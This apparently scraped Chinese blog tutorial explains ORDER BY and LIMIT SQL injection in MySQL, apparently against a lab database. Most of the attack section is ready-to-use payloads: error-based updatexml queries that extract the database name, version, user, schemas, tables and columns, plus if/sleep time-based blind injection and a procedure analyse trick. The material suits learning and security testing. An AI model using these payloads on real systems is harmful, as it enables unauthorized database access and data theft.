当前位置:网站首页>order by注入与limit注入
order by注入与limit注入
2022-08-10 03:26:00 【橙栎】
order by
什么是order by?
在数据库中,order by的作用是对数据表中查询的数据进行排序的方式。
正常情况下我们去查询一个数据库的时候,它显示的顺序可能是根据插入的数据来进行排序的,所以可以通过order by进行排序,方便查看
select * from 表名 order by 列名(数字) asc;(升序的)
select * from 表名 order by 列名(数字) desc;(降序的)
举个例子:
正常情况下,用户表的排名是这样的
当我们使用命令 select * from users order by username asc;的时候,是将users这张表按照username这一列进行升序,结果就变成了;可以看到username那一列是按照字母从小到大的方式进行排序。
而使用降序命令的时候,它就变成了从s开始逐渐变小。
order by注入可以指可控的位置在order by子句后
order by注入与报错注入
1.获取当前的数据库:
select * from users order by id and(updatexml(1,concat(0x7e,(select database()),0x7e),1));

2.获取数据库的版本
select * from users order by id and(updatexml(1,concat(0x7e,(select version()),0x7e),1));

3.获取用户
select * from users order by id and(updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.获取数据库个数
select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));

5.获取数据库列表信息
这里结合了limit来进行逐条获取,可以更加方便的观察。
select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),0));
select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1),0x7e),0));
select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1),0x7e),0));
select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1),0x7e),0));

6.获取表的名字
select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 0,1),0x7e),0));
select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 1,1),0x7e),0));
select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 2,1),0x7e),0));
select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 3,1),0x7e),0));

7.获取字段名字
select * from users order by id and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users"),0x7e),0));
这里使用的就不是limit来进行一个字段一个字段的输入了,而是使用了group_concat来进行输出,但是这个有意个条件就是每次只可以显示处32个字符,也就是说超过32个字符之后就会被截掉。
因为咱这个字符长度没有超过32个,所以就不会被阶段。如果字段太多了还是建议使用limit来一个一个的输出。
order by与盲注
基于if的时间盲注
这个就是判段的返回值是true还是false,如果是true的话,就正常时间内就会会显;如果是false的话,则会延长一段时间。
但是要注意的是,你所设置的sleep的时间并不是绝对的就是你设置数字的时间,如果一个表内的数据太多,那么他可能是你sleep设置时间和条数的乘积。
select * from ha order by if(1=1,1,sleep(1));
上面这种情况就是为真的时候,所以是正常时间回显
select * from ha order by if(1=2,1,sleep(1));
这里返回的结果就是flase,所以他会有一个延迟的关系。
在我们进行查询的时候,可以先使用 order by=(数字)来进行一个查询,这样就可以查看出他是有多少列的。
limit注入
limit的使用语法是:
LIMIT[位置偏移量,]行数;这里的中括号里的数据是可以修改的参数,也就是指的是从哪一行开始显示,并且他的开始值是0,也就是第一条记录对应的索引数是0,第二条记录对应的索引数是1…;后面的行数就是返回记录的条数,一般情况下都是写的1.
limit与order by的结合
正常情况下与order by结合在一起的写法:
select * from users where id > 0 order by id limit 1,1;

limit后面的参数
在limit后面是可以跟着两个参数的,分别是procedure和into。
但是into除非有写入shell的权限,否则是不可以使用的。
select * from users order by id limit 0,1 procedure analyse(extractvalue(1,concat(version())));
可能在输入的时候这个是存在报错的,这是因为这种方式是适用于低于mysql5.5的版本中,但是因为我这个mysql的版本是5.7.26的,他已经不支持了,所以不能运行。
边栏推荐
猜你喜欢

什么是Jmeter?Jmeter使用的原理步骤是什么?

Evaluation and Construction of Enterprise Network Security Capability from the Sliding Ruler Model

zabbix添加监控主机和自定义监控项

从零开始配置 vim(9)——初始配置

Software life cycle (the work of each phase of software engineering)

所谓软件测试工作能力强,其实就是这 5 点

leetcode-218.天际线问题

【科研绘图】琴图 +箱型图混合 matplotlib库和seabsorn库的使用

带你深入理解3.4.2的版本更新,对用户带来了什么?

三极管开关电路参数设计与参数介绍
随机推荐
成功执行数字化转型的9个因素
flex 的 三个参数:flex-grow、flex-shrink、flex-basis
golang go get 时提示 no Go files in xxx
leetcode-218.天际线问题
金融口译,口译中金融高频词有哪些
PC摄像头设置 默认摄像头设置 win11 默认摄像头设置
Flink CDC 2.0及其他数据同步工具对比
electron 应用开发优秀实践
盘式导电滑环的优点和缺点
js阻止事件冒泡方案
【每日一题】大佬们进来看看吧
轻流CEO薄智元:从无代码到无边界
flutter 制作嵌套列表
socket编程基础
从零开始配置 vim(10)——快捷键配置
Recommend several easy-to-use MySQL open source clients, it is recommended to collect
电子产品结构设计中的电磁兼容性(EMC)设计
Arrays类
Jackson的ObjectMapper在项目中的主要运用
有关视频传输时粘包问题的一些解决方法